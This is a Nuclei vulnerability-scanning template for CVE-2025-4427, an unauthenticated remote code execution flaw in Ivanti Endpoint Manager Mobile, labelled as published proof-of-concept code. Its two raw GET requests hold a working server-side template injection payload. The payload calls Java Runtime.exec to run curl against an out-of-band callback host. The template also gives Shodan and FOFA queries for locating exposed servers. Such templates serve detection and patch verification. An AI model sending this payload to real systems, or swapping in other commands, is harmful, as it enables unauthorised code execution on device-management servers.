An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
PoC代码[已公开]
id: CVE-2025-4427
info:
name: Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution
author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
severity: critical
description: |
An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
reference:
- https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2025-4427
cwe-id: CWE-288
epss-score: 0.9191
epss-percentile: 0.99684
metadata:
verified: true
max-request: 2
shodan-query: http.favicon.hash:"362091310"
fofa-query: icon_hash="362091310"
product: endpoint_manager_mobile
vendor: ivanti
tags: cve,cve2025,ivanti,epmm,rce,ssti,kev,vkev
http:
- raw:
- |
GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
Host: {{Hostname}}
- |
GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "localizedMessage"
- type: regex
part: body
regex:
- "Format 'Process\\[pid="
- "Format 'java\\.lang\\.UNIXProcess@[0-9a-f]+'"
condition: or
- type: word
part: interactsh_protocol
words:
- dns
- type: status
status:
- 400
# digest: 490a0046304402203b5c2b5ce1566885acedc38fb86420727a65589d1edf51abbd17da508c022bd002204968a59f216d70d6d9857b60c888751038e98890f0af2ef5b8c72f6b75799bfd:922c64590222798bb761d5b6d8e72950